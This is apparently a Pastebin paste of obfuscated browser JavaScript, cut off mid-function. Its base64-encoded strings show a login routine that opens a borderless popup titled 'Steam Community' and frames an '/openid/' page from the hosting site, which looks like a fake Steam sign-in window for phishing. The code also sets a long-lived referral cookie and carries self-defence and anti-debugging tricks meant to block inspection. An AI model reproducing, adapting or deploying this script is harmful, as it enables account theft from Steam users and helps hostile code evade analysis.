Advertisement
Guest User

Untitled

a guest
Sep 22nd, 2018
159
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. 'use strict';
  2. /** @type {!Array} */
  3. var _0x1e64 = ["YWN0aW9u", "b2hIWW8=", "QlZwYWg=", "Z3dWbFc=", "ZVRUVGU=", "c3Buck8=", "Y29uc29sZQ==", "c3BsaXQ=", "dHJhY2U=", "ZXhjZXB0aW9u", "ZGVidWc=", "d2Fybg==", "aW5mbw==", "ZXJyb3I=", "bG9n", "c2V0VGltZQ==", "Z2V0VGltZQ==", "dG9VVENTdHJpbmc=", "Y29va2ll", "b29Pc3o=", "UGlFdkU=", "c3RyaW5n", "bUlJZkE=", "d2hpbGUgKHRydWUpIHt9", "SGZES3o=", "Y291bnRlcg==", "aXJXVkI=", "TERhZlQ=", "SERKZU0=", "bGVuZ3Ro", "d0xLbVY=", "eldRSXU=", "cVpYUGI=", "eU5QZ0s=", "UW52Qmc=", "ZUJBUHA=", "amdURk8=", "c3RhdGVPYmplY3Q=",
  4. "ZnBZTUE=", "WkNER3A=", "SlJvd2s=", "b3RUR2k=", "UnlUbXo=", "WUxJbHQ=", "S3ZBYUU=", "UkxKS3A=", "bG9jYXRpb24=", "aHJlZg==", "aW5kZXhPZg==", "c2xpY2U=", "cmVm", "aFRiZlE=", "bG9nZ2Vk", "SmVVeXA=", "bUdpTVE=", "c2VuZA==", "ZHpRbWE=", "c3VibWl0", "WEdMYVc=", "b3Blbg==", "YnFSbEk=", "dk5RbGo=", "aVlxb3k=", "RUt0RVE=", "cG9wdXA=", "bkNiaHk=", "PHN0eWxlPmJvZHkge21hcmdpbjogMDsgb3ZlcmZsb3c6IGhpZGRlbjsgaGVpZ2h0OiAxMDAlO30gaWZyYW1lIHtoZWlnaHQ6IDEwMCU7IHdpZHRoOiAxMDAlOyBib3JkZXI6IDA7fTwvc3R5bGU+", "bEp3Qlc=",
  5. "PHRpdGxlPlN0ZWFtIENvbW11bml0eTwvdGl0bGU+", "Z2x1Ym0=", "PGlmcmFtZSBzdHlsZT0naGVpZ2h0OiAxMDAlOycgc3JjPScvb3BlbmlkLyc+PC9pZnJhbWU+", "ZXZlbnQ=", "d2lkdGg=", "aGVpZ2h0", "c3RhdHVzPW5vLHRvb2xiYXI9bm8sbG9jYXRpb249bm8sZGlyZWN0b3JpZXM9bm8scmVzaXNhYmxlPW5vLHNyb2xsYmFycz15ZXMsd2lkdGg9MTA1MCxoZWlnaHQ9NjAwLGxlZnQ9", "LHRvcD0=", "ZG9jdW1lbnQ=", "d3JpdGU=", "b25iZWZvcmV1bmxvYWQ=", "Z2V0RWxlbWVudHNCeUNsYXNz", "eFNHTWM=", "a0F6am0=", "aW5pdA==", "S09vWWo=", "VFdBR2I=", "VGR3aHY=", "ZlRjZFQ=", "ZnVuY3Rpb24gKlwoICpcKQ==",
  6. "aHZGRnU=", "UWZRV3U=", "Y2hhaW4=", "QVNRakI=", "aW5wdXQ=", "TGxVaEk=", "RXRNeHY=", "bmdTVFY=", "YnJuTGc=", "YURXS2s=", "cHFJVU0=", "b2Z5VnE=", "SHNUZ3o=", "SU1yRVA=", "RUFzQVE=", "Z1ROaGs=", "RlB1Q3E=", "M3w3fDR8Mnw1fDZ8MXwwfDg=", "dkhCbXQ=", "aXlUQVU=", "ZnVOSlg=", "QXFSc3k=", "cmV0dXJuIChmdW5jdGlvbigpIA==", "Z0dvWXg=", "e30uY29uc3RydWN0b3IoInJldHVybiB0aGlzIikoICk=", "UUJXWUc=", "SGpRaXk=", "Q3dEUmY=", "YnlYZ1M=", "VU9JWGU=", "bVVHaEI=", "R2RhV0U=", "S290R1A=", "OyBleHBpcmVzPQ==", "UmJNU1c=", "aHVLeks=",
  7. "eGNUYkU=", "OyBwYXRoPS8=", "WHB4WXU=", "end2UHA=", "WGFZQ0Q=", "Q1FpanI=", "SkFLVUQ=", "ckh1dGw=", "akpuTVU=", "WHl0REE=", "XCtcKyAqKD86XzB4KD86W2EtZjAtOV0pezQsNn18KD86XGJ8XGQpW2EtejAtOV17MSw0fSg/OlxifFxkKSk=", "aEluZlA=", "Z2lIdnM=", "clpKT2o=", "VFNzcGY=", "YXBwbHk=", "dGVzdA==", "a2NsVmk=", "dmxkbWY=", "Z2dlcg==", "Y29uc3RydWN0b3I=", "ZGVidQ==", "Y2FsbA=="];
  8. (function(params, content) {
  9.   /**
  10.    * @param {?} selected_image
  11.    * @return {undefined}
  12.    */
  13.   var fn = function(selected_image) {
  14.     for (; --selected_image;) {
  15.       params["push"](params["shift"]());
  16.     }
  17.   };
  18.   /**
  19.    * @return {undefined}
  20.    */
  21.   var build = function() {
  22.     var target = {
  23.       "data" : {
  24.         "key" : "cookie",
  25.         "value" : "timeout"
  26.       },
  27.       "setCookie" : function(value, name, path, headers) {
  28.         headers = headers || {};
  29.         /** @type {string} */
  30.         var cookie = name + "=" + path;
  31.         /** @type {number} */
  32.         var url = 0;
  33.         /** @type {number} */
  34.         url = 0;
  35.         var key = value["length"];
  36.         for (; url < key; url++) {
  37.           var i = value[url];
  38.           /** @type {string} */
  39.           cookie = cookie + ("; " + i);
  40.           var char = value[i];
  41.           value["push"](char);
  42.           key = value["length"];
  43.           if (char !== !![]) {
  44.             /** @type {string} */
  45.             cookie = cookie + ("=" + char);
  46.           }
  47.         }
  48.         /** @type {string} */
  49.         headers["cookie"] = cookie;
  50.       },
  51.       "removeCookie" : function() {
  52.         return "dev";
  53.       },
  54.       "getCookie" : function(match, href) {
  55.         match = match || function(canCreateDiscussions) {
  56.           return canCreateDiscussions;
  57.         };
  58.         var v = match(new RegExp("(?:^|; )" + href["replace"](/([.$?*|{}()[]\/+^])/g, "$1") + "=([^;]*)"));
  59.         /**
  60.          * @param {!Function} callback
  61.          * @param {number} i
  62.          * @return {undefined}
  63.          */
  64.         var test = function(callback, i) {
  65.           callback(++i);
  66.         };
  67.         test(fn, content);
  68.         return v ? decodeURIComponent(v[1]) : undefined;
  69.       }
  70.     };
  71.     /**
  72.      * @return {?}
  73.      */
  74.     var init = function() {
  75.       /** @type {!RegExp} */
  76.       var test = new RegExp("\\w+ *\\(\\) *{\\w+ *['|\"].+['|\"];? *}");
  77.       return test["test"](target["removeCookie"]["toString"]());
  78.     };
  79.     /** @type {function(): ?} */
  80.     target["updateCookie"] = init;
  81.     /** @type {string} */
  82.     var array = "";
  83.     var _0x43ddeb = target["updateCookie"]();
  84.     if (!_0x43ddeb) {
  85.       target["setCookie"](["*"], "counter", 1);
  86.     } else {
  87.       if (_0x43ddeb) {
  88.         array = target["getCookie"](null, "counter");
  89.       } else {
  90.         target["removeCookie"]();
  91.       }
  92.     }
  93.   };
  94.   build();
  95. })(_0x1e64, 340);
  96. /**
  97.  * @param {string} k
  98.  * @param {?} init_using_data
  99.  * @return {?}
  100.  */
  101. var _0xae00 = function(k, init_using_data) {
  102.   /** @type {number} */
  103.   k = k - 0;
  104.   var text = _0x1e64[k];
  105.   if (_0xae00["aMXtDe"] === undefined) {
  106.     (function() {
  107.       var PL$14;
  108.       try {
  109.         var evaluate = Function("return (function() " + '{}.constructor("return this")( )' + ");");
  110.         PL$14 = evaluate();
  111.       } catch (_0x2d25b8) {
  112.         /** @type {!Window} */
  113.         PL$14 = window;
  114.       }
  115.       /** @type {string} */
  116.       var listeners = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  117.       if (!PL$14["atob"]) {
  118.         /**
  119.          * @param {?} i
  120.          * @return {?}
  121.          */
  122.         PL$14["atob"] = function(i) {
  123.           var str = String(i)["replace"](/=+$/, "");
  124.           /** @type {number} */
  125.           var bc = 0;
  126.           var bs;
  127.           var buffer;
  128.           /** @type {number} */
  129.           var Y = 0;
  130.           /** @type {string} */
  131.           var pix_color = "";
  132.           for (; buffer = str["charAt"](Y++); ~buffer && (bs = bc % 4 ? bs * 64 + buffer : buffer, bc++ % 4) ? pix_color = pix_color + String["fromCharCode"](255 & bs >> (-2 * bc & 6)) : 0) {
  133.             buffer = listeners["indexOf"](buffer);
  134.           }
  135.           return pix_color;
  136.         };
  137.       }
  138.     })();
  139.     /**
  140.      * @param {?} dataString
  141.      * @return {?}
  142.      */
  143.     _0xae00["xeoMMV"] = function(dataString) {
  144.       /** @type {string} */
  145.       var data = atob(dataString);
  146.       /** @type {!Array} */
  147.       var escapedString = [];
  148.       /** @type {number} */
  149.       var val = 0;
  150.       var key = data["length"];
  151.       for (; val < key; val++) {
  152.         escapedString = escapedString + ("%" + ("00" + data["charCodeAt"](val)["toString"](16))["slice"](-2));
  153.       }
  154.       return decodeURIComponent(escapedString);
  155.     };
  156.     _0xae00["YLdvAT"] = {};
  157.     /** @type {boolean} */
  158.     _0xae00["aMXtDe"] = !![];
  159.   }
  160.   var b = _0xae00["YLdvAT"][k];
  161.   if (b === undefined) {
  162.     /**
  163.      * @param {?} deny
  164.      * @return {undefined}
  165.      */
  166.     var WMCacheControl = function(deny) {
  167.       this["NrRLqw"] = deny;
  168.       /** @type {!Array} */
  169.       this["ZuDYBW"] = [1, 0, 0];
  170.       /**
  171.        * @return {?}
  172.        */
  173.       this["eDEIpw"] = function() {
  174.         return "newState";
  175.       };
  176.       /** @type {string} */
  177.       this["XeKBfg"] = "\\w+ *\\(\\) *{\\w+ *";
  178.       /** @type {string} */
  179.       this["uhJnig"] = "['|\"].+['|\"];? *}";
  180.     };
  181.     /**
  182.      * @return {?}
  183.      */
  184.     WMCacheControl["prototype"]["ghmxUQ"] = function() {
  185.       /** @type {!RegExp} */
  186.       var test = new RegExp(this["XeKBfg"] + this["uhJnig"]);
  187.       /** @type {number} */
  188.       var artistTrack = test["test"](this["eDEIpw"]["toString"]()) ? --this["ZuDYBW"][1] : --this["ZuDYBW"][0];
  189.       return this["XONpvU"](artistTrack);
  190.     };
  191.     /**
  192.      * @param {?} canCreateDiscussions
  193.      * @return {?}
  194.      */
  195.     WMCacheControl["prototype"]["XONpvU"] = function(canCreateDiscussions) {
  196.       if (!Boolean(~canCreateDiscussions)) {
  197.         return canCreateDiscussions;
  198.       }
  199.       return this["mJzzja"](this["NrRLqw"]);
  200.     };
  201.     /**
  202.      * @param {?} saveNotifs
  203.      * @return {?}
  204.      */
  205.     WMCacheControl["prototype"]["mJzzja"] = function(saveNotifs) {
  206.       /** @type {number} */
  207.       var fp = 0;
  208.       var len = this["ZuDYBW"]["length"];
  209.       for (; fp < len; fp++) {
  210.         this["ZuDYBW"]["push"](Math["round"](Math["random"]()));
  211.         len = this["ZuDYBW"]["length"];
  212.       }
  213.       return saveNotifs(this["ZuDYBW"][0]);
  214.     };
  215.     (new WMCacheControl(_0xae00))["ghmxUQ"]();
  216.     text = _0xae00["xeoMMV"](text);
  217.     _0xae00["YLdvAT"][k] = text;
  218.   } else {
  219.     text = b;
  220.   }
  221.   return text;
  222. };
  223. /** @type {string} */
  224. var ref = "";
  225. if (window[_0xae00("0x0")][_0xae00("0x1")][_0xae00("0x2")]("?") != -1) {
  226.   ref = window[_0xae00("0x0")][_0xae00("0x1")][_0xae00("0x3")](window[_0xae00("0x0")][_0xae00("0x1")][_0xae00("0x2")]("?") + 1);
  227. } else {
  228.   if (window[_0xae00("0x0")][_0xae00("0x1")][_0xae00("0x2")]("#") != -1) {
  229.     ref = window[_0xae00("0x0")][_0xae00("0x1")][_0xae00("0x3")](window[_0xae00("0x0")][_0xae00("0x1")][_0xae00("0x2")]("#") + 1);
  230.   }
  231. }
  232. if (ref != "") {
  233.   setCookie(_0xae00("0x4"), ref, 365);
  234. }
  235. /**
  236.  * @return {undefined}
  237.  */
  238. function login() {
  239.   var a = {};
  240.   a[_0xae00("0x5")] = _0xae00("0x6");
  241.   /**
  242.    * @param {?} callback
  243.    * @param {?} response_2
  244.    * @param {?} webhookMsg
  245.    * @param {?} privateContent
  246.    * @param {?} indexSoFar
  247.    * @return {?}
  248.    */
  249.   a[_0xae00("0x7")] = function(callback, response_2, webhookMsg, privateContent, indexSoFar) {
  250.     return callback(response_2, webhookMsg, privateContent, indexSoFar);
  251.   };
  252.   a[_0xae00("0x8")] = _0xae00("0x9");
  253.   a[_0xae00("0xa")] = _0xae00("0xb");
  254.   a[_0xae00("0xc")] = _0xae00("0xd");
  255.   /**
  256.    * @param {(boolean|number|string)} _num2
  257.    * @param {(boolean|number|string)} _num1
  258.    * @return {?}
  259.    */
  260.   a[_0xae00("0xe")] = function(_num2, _num1) {
  261.     return _num2 / _num1;
  262.   };
  263.   /**
  264.    * @param {(boolean|number|string)} b
  265.    * @param {(boolean|number|string)} a
  266.    * @return {?}
  267.    */
  268.   a[_0xae00("0xf")] = function(b, a) {
  269.     return b - a;
  270.   };
  271.   /**
  272.    * @param {(boolean|number|string)} _num2
  273.    * @param {(boolean|number|string)} _num1
  274.    * @return {?}
  275.    */
  276.   a[_0xae00("0x10")] = function(_num2, _num1) {
  277.     return _num2 / _num1;
  278.   };
  279.   a[_0xae00("0x11")] = _0xae00("0x12");
  280.   a[_0xae00("0x13")] = _0xae00("0x14");
  281.   a[_0xae00("0x15")] = _0xae00("0x16");
  282.   a[_0xae00("0x17")] = _0xae00("0x18");
  283.   a[_0xae00("0x7")](ga, a[_0xae00("0x8")], _0xae00("0x19"), a[_0xae00("0xa")], a[_0xae00("0xc")]);
  284.   /** @type {number} */
  285.   var _0x865860 = screen[_0xae00("0x1a")] / 2 - a[_0xae00("0xe")](1050, 2);
  286.   var _0x2ef51f = a[_0xae00("0xf")](a[_0xae00("0x10")](screen[_0xae00("0x1b")], 2), a[_0xae00("0x10")](800, 2));
  287.   var sepor = window[_0xae00("0xd")]("", a[_0xae00("0x11")], _0xae00("0x1c") + _0x865860 + _0xae00("0x1d") + _0x2ef51f);
  288.   var ac = a[_0xae00("0x13")];
  289.   ac = ac + a[_0xae00("0x15")];
  290.   ac = ac + a[_0xae00("0x17")];
  291.   sepor[_0xae00("0x1e")][_0xae00("0x1f")](ac);
  292.   /**
  293.    * @return {undefined}
  294.    */
  295.   sepor[_0xae00("0x20")] = function() {
  296.     if (document[_0xae00("0x21")](a[_0xae00("0x5")])[0]) {
  297.     }
  298.   };
  299. }
  300. /**
  301.  * @param {?} data
  302.  * @param {string} name
  303.  * @param {number} uri
  304.  * @return {?}
  305.  */
  306. function setCookie(data, name, uri) {
  307.   var escapeCookie = function() {
  308.     /** @type {boolean} */
  309.     var closeExpr = !![];
  310.     return function(object__360, function__361) {
  311.       /** @type {!Function} */
  312.       var closingExpr = closeExpr ? function() {
  313.         if (function__361) {
  314.           var cssobj = function__361["apply"](object__360, arguments);
  315.           /** @type {null} */
  316.           function__361 = null;
  317.           return cssobj;
  318.         }
  319.       } : function() {
  320.       };
  321.       /** @type {boolean} */
  322.       closeExpr = ![];
  323.       return closingExpr;
  324.     };
  325.   }();
  326.   var findCookie = escapeCookie(this, function() {
  327.     /**
  328.      * @return {?}
  329.      */
  330.     var intval = function() {
  331.       return "dev";
  332.     };
  333.     /**
  334.      * @return {?}
  335.      */
  336.     var getDOMPath = function() {
  337.       return "window";
  338.     };
  339.     /**
  340.      * @return {?}
  341.      */
  342.     var get = function() {
  343.       /** @type {!RegExp} */
  344.       var test = new RegExp("\\w+ *\\(\\) *{\\w+ *['|\"].+['|\"];? *}");
  345.       return !test["test"](intval["toString"]());
  346.     };
  347.     /**
  348.      * @return {?}
  349.      */
  350.     var next = function() {
  351.       /** @type {!RegExp} */
  352.       var test = new RegExp("(\\\\[x|u](\\w){2,4})+");
  353.       return test["test"](getDOMPath["toString"]());
  354.     };
  355.     /**
  356.      * @param {!Object} name
  357.      * @return {undefined}
  358.      */
  359.     var matches = function(name) {
  360.       /** @type {number} */
  361.       var ms_controller = ~-1 >> 1 + 255 % 0;
  362.       if (name["indexOf"]("i" === ms_controller)) {
  363.         create(name);
  364.       }
  365.     };
  366.     /**
  367.      * @param {!Object} func
  368.      * @return {undefined}
  369.      */
  370.     var create = function(func) {
  371.       /** @type {number} */
  372.       var _0x559ee9 = ~-4 >> 1 + 255 % 0;
  373.       if (func["indexOf"]((!![] + "")[3]) !== _0x559ee9) {
  374.         matches(func);
  375.       }
  376.     };
  377.     if (!get()) {
  378.       if (!next()) {
  379.         matches("ind\u0435xOf");
  380.       } else {
  381.         matches("indexOf");
  382.       }
  383.     } else {
  384.       matches("ind\u0435xOf");
  385.     }
  386.   });
  387.   findCookie();
  388.   var path = {};
  389.   /**
  390.    * @param {?} saveNotifs
  391.    * @param {?} notifications
  392.    * @return {?}
  393.    */
  394.   path[_0xae00("0x22")] = function(saveNotifs, notifications) {
  395.     return saveNotifs(notifications);
  396.   };
  397.   path[_0xae00("0x23")] = _0xae00("0x24");
  398.   path[_0xae00("0x25")] = _0xae00("0x26");
  399.   /**
  400.    * @param {?} callback
  401.    * @param {?} response_2
  402.    * @param {?} webhookMsg
  403.    * @return {?}
  404.    */
  405.   path[_0xae00("0x27")] = function(callback, response_2, webhookMsg) {
  406.     return callback(response_2, webhookMsg);
  407.   };
  408.   path[_0xae00("0x28")] = _0xae00("0x29");
  409.   /**
  410.    * @param {(Object|number)} buckets
  411.    * @param {!Object} name
  412.    * @return {?}
  413.    */
  414.   path[_0xae00("0x2a")] = function(buckets, name) {
  415.     return buckets + name;
  416.   };
  417.   path[_0xae00("0x2b")] = _0xae00("0x2c");
  418.   path[_0xae00("0x2d")] = _0xae00("0x2e");
  419.   path[_0xae00("0x2f")] = _0xae00("0x30");
  420.   path[_0xae00("0x31")] = _0xae00("0x32");
  421.   /**
  422.    * @param {?} saveNotifs
  423.    * @return {?}
  424.    */
  425.   path[_0xae00("0x33")] = function(saveNotifs) {
  426.     return saveNotifs();
  427.   };
  428.   /**
  429.    * @param {?} callback
  430.    * @param {?} response_2
  431.    * @param {?} webhookMsg
  432.    * @return {?}
  433.    */
  434.   path[_0xae00("0x34")] = function(callback, response_2, webhookMsg) {
  435.     return callback(response_2, webhookMsg);
  436.   };
  437.   /**
  438.    * @param {?} x_or_y
  439.    * @param {?} y
  440.    * @return {?}
  441.    */
  442.   path[_0xae00("0x35")] = function(x_or_y, y) {
  443.     return x_or_y === y;
  444.   };
  445.   path[_0xae00("0x36")] = _0xae00("0x37");
  446.   path[_0xae00("0x38")] = _0xae00("0x39");
  447.   path[_0xae00("0x3a")] = _0xae00("0x3b");
  448.   /**
  449.    * @param {?} saveNotifs
  450.    * @param {?} notifications
  451.    * @return {?}
  452.    */
  453.   path[_0xae00("0x3c")] = function(saveNotifs, notifications) {
  454.     return saveNotifs(notifications);
  455.   };
  456.   /**
  457.    * @param {(Object|number)} buckets
  458.    * @param {!Object} name
  459.    * @return {?}
  460.    */
  461.   path[_0xae00("0x3d")] = function(buckets, name) {
  462.     return buckets + name;
  463.   };
  464.   /**
  465.    * @param {(Object|number)} buckets
  466.    * @param {!Object} name
  467.    * @return {?}
  468.    */
  469.   path[_0xae00("0x3e")] = function(buckets, name) {
  470.     return buckets + name;
  471.   };
  472.   path[_0xae00("0x3f")] = _0xae00("0x40");
  473.   path[_0xae00("0x41")] = _0xae00("0x42");
  474.   /**
  475.    * @param {?} saveNotifs
  476.    * @return {?}
  477.    */
  478.   path[_0xae00("0x43")] = function(saveNotifs) {
  479.     return saveNotifs();
  480.   };
  481.   /**
  482.    * @param {?} saveNotifs
  483.    * @return {?}
  484.    */
  485.   path[_0xae00("0x44")] = function(saveNotifs) {
  486.     return saveNotifs();
  487.   };
  488.   /**
  489.    * @param {?} optionsValue
  490.    * @param {?} value
  491.    * @return {?}
  492.    */
  493.   path[_0xae00("0x45")] = function(optionsValue, value) {
  494.     return optionsValue !== value;
  495.   };
  496.   path[_0xae00("0x46")] = _0xae00("0x47");
  497.   /**
  498.    * @param {number} mmCoreSecondsDay
  499.    * @param {number} daysInterval
  500.    * @return {?}
  501.    */
  502.   path[_0xae00("0x48")] = function(mmCoreSecondsDay, daysInterval) {
  503.     return mmCoreSecondsDay * daysInterval;
  504.   };
  505.   /**
  506.    * @param {(Object|number)} buckets
  507.    * @param {!Object} name
  508.    * @return {?}
  509.    */
  510.   path[_0xae00("0x49")] = function(buckets, name) {
  511.     return buckets + name;
  512.   };
  513.   path[_0xae00("0x4a")] = _0xae00("0x4b");
  514.   /**
  515.    * @param {(Object|number)} buckets
  516.    * @param {!Object} name
  517.    * @return {?}
  518.    */
  519.   path[_0xae00("0x4c")] = function(buckets, name) {
  520.     return buckets + name;
  521.   };
  522.   /**
  523.    * @param {number} isPrevType
  524.    * @param {boolean} isCurrentType
  525.    * @return {?}
  526.    */
  527.   path[_0xae00("0x4d")] = function(isPrevType, isCurrentType) {
  528.     return isPrevType || isCurrentType;
  529.   };
  530.   path[_0xae00("0x4e")] = _0xae00("0x4f");
  531.   var x = function() {
  532.     var $mmLocalNotifications = {};
  533.     /**
  534.      * @param {?} customKeyBindingsFile
  535.      * @param {?} pkbFile
  536.      * @return {?}
  537.      */
  538.     $mmLocalNotifications[_0xae00("0x50")] = function(customKeyBindingsFile, pkbFile) {
  539.       return path.xSGMc(customKeyBindingsFile, pkbFile);
  540.     };
  541.     $mmLocalNotifications[_0xae00("0x51")] = path.kAzjm;
  542.     $mmLocalNotifications[_0xae00("0x52")] = _0xae00("0x2c");
  543.     $mmLocalNotifications[_0xae00("0x53")] = path.KOoYj;
  544.     /**
  545.      * @param {?} customKeyBindingsFile
  546.      * @param {?} pkbFile
  547.      * @param {?} questionDirectory
  548.      * @return {?}
  549.      */
  550.     $mmLocalNotifications[_0xae00("0x54")] = function(customKeyBindingsFile, pkbFile, questionDirectory) {
  551.       return path.Tdwhv(customKeyBindingsFile, pkbFile, questionDirectory);
  552.     };
  553.     /** @type {boolean} */
  554.     var closeExpr = !![];
  555.     return function(value, deferred) {
  556.       var boxModelProps = {};
  557.       /**
  558.        * @param {?} mmaPushNotificationsComponent
  559.        * @param {?} mmaCalendarComponent
  560.        * @param {?} siteId
  561.        * @return {?}
  562.        */
  563.       boxModelProps[_0xae00("0x55")] = function(mmaPushNotificationsComponent, mmaCalendarComponent, siteId) {
  564.         return $mmLocalNotifications.JAKUD(mmaPushNotificationsComponent, mmaCalendarComponent, siteId);
  565.       };
  566.       /** @type {!Function} */
  567.       var closingExpr = closeExpr ? function() {
  568.         var cc = {};
  569.         cc[_0xae00("0x56")] = _0xae00("0x29");
  570.         cc[_0xae00("0x57")] = _0xae00("0x58");
  571.         /**
  572.          * @param {?} mmaPushNotificationsComponent
  573.          * @param {?} mmaCalendarComponent
  574.          * @return {?}
  575.          */
  576.         cc[_0xae00("0x59")] = function(mmaPushNotificationsComponent, mmaCalendarComponent) {
  577.           return $mmLocalNotifications.XpxYu(mmaPushNotificationsComponent, mmaCalendarComponent);
  578.         };
  579.         cc[_0xae00("0x5a")] = $mmLocalNotifications.zwvPp;
  580.         cc[_0xae00("0x5b")] = $mmLocalNotifications.XaYCD;
  581.         /**
  582.          * @param {?} saveNotifs
  583.          * @return {?}
  584.          */
  585.         cc[_0xae00("0x5c")] = function(saveNotifs) {
  586.           return saveNotifs();
  587.         };
  588.         if (_0xae00("0x26") === $mmLocalNotifications[_0xae00("0x53")]) {
  589.           if (deferred) {
  590.             var mom = deferred[_0xae00("0x5d")](value, arguments);
  591.             /** @type {null} */
  592.             deferred = null;
  593.             return mom;
  594.           }
  595.         } else {
  596.           boxModelProps[_0xae00("0x55")](x, this, function() {
  597.             /** @type {!RegExp} */
  598.             var _loaderStrategy = new RegExp(cc[_0xae00("0x56")]);
  599.             /** @type {!RegExp} */
  600.             var inlineAttributeCommentRegex = new RegExp(cc[_0xae00("0x57")], "i");
  601.             var path = cc[_0xae00("0x59")](_0x29df6f, cc[_0xae00("0x5a")]);
  602.             if (!_loaderStrategy[_0xae00("0x5e")](path + cc[_0xae00("0x5b")]) || !inlineAttributeCommentRegex[_0xae00("0x5e")](path + _0xae00("0x2e"))) {
  603.               path("0");
  604.             } else {
  605.               cc[_0xae00("0x5c")](_0x29df6f);
  606.             }
  607.           })();
  608.         }
  609.       } : function() {
  610.       };
  611.       /** @type {boolean} */
  612.       closeExpr = ![];
  613.       return closingExpr;
  614.     };
  615.   }();
  616.   (function() {
  617.     path[_0xae00("0x34")](x, this, function() {
  618.       var _0x15a669 = {};
  619.       /**
  620.        * @param {(Object|number)} buckets
  621.        * @param {!Object} name
  622.        * @return {?}
  623.        */
  624.       _0x15a669[_0xae00("0x5f")] = function(buckets, name) {
  625.         return buckets + name;
  626.       };
  627.       _0x15a669[_0xae00("0x60")] = _0xae00("0x61");
  628.       /** @type {!RegExp} */
  629.       var d = new RegExp(path[_0xae00("0x28")]);
  630.       /** @type {!RegExp} */
  631.       var rangesPattern = new RegExp(_0xae00("0x58"), "i");
  632.       var x = path[_0xae00("0x22")](_0x29df6f, _0xae00("0x24"));
  633.       if (!d[_0xae00("0x5e")](path[_0xae00("0x2a")](x, path[_0xae00("0x2b")])) || !rangesPattern[_0xae00("0x5e")](x + path[_0xae00("0x2d")])) {
  634.         if (path[_0xae00("0x2f")] !== path[_0xae00("0x31")]) {
  635.           path[_0xae00("0x22")](x, "0");
  636.         } else {
  637.           (function() {
  638.             return !![];
  639.           })[_0xae00("0x62")](_0x15a669[_0xae00("0x5f")](_0xae00("0x63"), _0x15a669[_0xae00("0x60")]))[_0xae00("0x64")](_0xae00("0x65"));
  640.         }
  641.       } else {
  642.         path[_0xae00("0x33")](_0x29df6f);
  643.       }
  644.     })();
  645.   })();
  646.   var parseuri = function() {
  647.     var _0x3ca2cf = {};
  648.     /**
  649.      * @param {?} customKeyBindingsFile
  650.      * @param {?} pkbFile
  651.      * @return {?}
  652.      */
  653.     _0x3ca2cf[_0xae00("0x66")] = function(customKeyBindingsFile, pkbFile) {
  654.       return path.ofyVq(customKeyBindingsFile, pkbFile);
  655.     };
  656.     _0x3ca2cf[_0xae00("0x67")] = _0xae00("0x68");
  657.     _0x3ca2cf[_0xae00("0x69")] = _0xae00("0x6a");
  658.     /** @type {boolean} */
  659.     var closeExpr = !![];
  660.     return function(value, deferred) {
  661.       /** @type {!Function} */
  662.       var closingExpr = closeExpr ? function() {
  663.         if (_0x3ca2cf[_0xae00("0x66")](_0x3ca2cf[_0xae00("0x67")], _0x3ca2cf[_0xae00("0x69")])) {
  664.           return debuggerProtection;
  665.         } else {
  666.           if (deferred) {
  667.             var mom = deferred[_0xae00("0x5d")](value, arguments);
  668.             /** @type {null} */
  669.             deferred = null;
  670.             return mom;
  671.           }
  672.         }
  673.       } : function() {
  674.       };
  675.       /** @type {boolean} */
  676.       closeExpr = ![];
  677.       return closingExpr;
  678.     };
  679.   }();
  680.   var localhost = parseuri(this, function() {
  681.     /**
  682.      * @return {undefined}
  683.      */
  684.     var next = function() {
  685.     };
  686.     var current;
  687.     try {
  688.       var obj = path[_0xae00("0x3c")](Function, path[_0xae00("0x3d")](path[_0xae00("0x3e")](path[_0xae00("0x3f")], path[_0xae00("0x41")]), ");"));
  689.       current = path[_0xae00("0x43")](obj);
  690.     } catch (_0x3e69e4) {
  691.       /** @type {!Window} */
  692.       current = window;
  693.     }
  694.     if (!current[_0xae00("0x6b")]) {
  695.       current[_0xae00("0x6b")] = function(callback) {
  696.         if (path[_0xae00("0x36")] === path[_0xae00("0x38")]) {
  697.           if (fn) {
  698.             var denies = fn[_0xae00("0x5d")](context, arguments);
  699.             /** @type {null} */
  700.             fn = null;
  701.             return denies;
  702.           }
  703.         } else {
  704.           var callbackVals = path[_0xae00("0x3a")][_0xae00("0x6c")]("|");
  705.           /** @type {number} */
  706.           var callbackCount = 0;
  707.           for (; !![];) {
  708.             switch(callbackVals[callbackCount++]) {
  709.               case "0":
  710.                 /** @type {function(): undefined} */
  711.                 receiveHandlers[_0xae00("0x6d")] = callback;
  712.                 continue;
  713.               case "1":
  714.                 /** @type {function(): undefined} */
  715.                 receiveHandlers[_0xae00("0x6e")] = callback;
  716.                 continue;
  717.               case "2":
  718.                 /** @type {function(): undefined} */
  719.                 receiveHandlers[_0xae00("0x6f")] = callback;
  720.                 continue;
  721.               case "3":
  722.                 var receiveHandlers = {};
  723.                 continue;
  724.               case "4":
  725.                 /** @type {function(): undefined} */
  726.                 receiveHandlers[_0xae00("0x70")] = callback;
  727.                 continue;
  728.               case "5":
  729.                 /** @type {function(): undefined} */
  730.                 receiveHandlers[_0xae00("0x71")] = callback;
  731.                 continue;
  732.               case "6":
  733.                 /** @type {function(): undefined} */
  734.                 receiveHandlers[_0xae00("0x72")] = callback;
  735.                 continue;
  736.               case "7":
  737.                 /** @type {function(): undefined} */
  738.                 receiveHandlers[_0xae00("0x73")] = callback;
  739.                 continue;
  740.               case "8":
  741.                 return receiveHandlers;
  742.             }
  743.             break;
  744.           }
  745.         }
  746.       }(next);
  747.     } else {
  748.       /** @type {function(): undefined} */
  749.       current[_0xae00("0x6b")][_0xae00("0x73")] = next;
  750.       /** @type {function(): undefined} */
  751.       current[_0xae00("0x6b")][_0xae00("0x70")] = next;
  752.       /** @type {function(): undefined} */
  753.       current[_0xae00("0x6b")][_0xae00("0x6f")] = next;
  754.       /** @type {function(): undefined} */
  755.       current[_0xae00("0x6b")][_0xae00("0x71")] = next;
  756.       /** @type {function(): undefined} */
  757.       current[_0xae00("0x6b")][_0xae00("0x72")] = next;
  758.       /** @type {function(): undefined} */
  759.       current[_0xae00("0x6b")][_0xae00("0x6e")] = next;
  760.       /** @type {function(): undefined} */
  761.       current[_0xae00("0x6b")][_0xae00("0x6d")] = next;
  762.     }
  763.   });
  764.   path[_0xae00("0x44")](localhost);
  765.   /** @type {string} */
  766.   var query = "";
  767.   if (uri) {
  768.     if (path[_0xae00("0x45")](path[_0xae00("0x46")], path[_0xae00("0x46")])) {
  769.       return !![];
  770.     } else {
  771.       /** @type {!Date} */
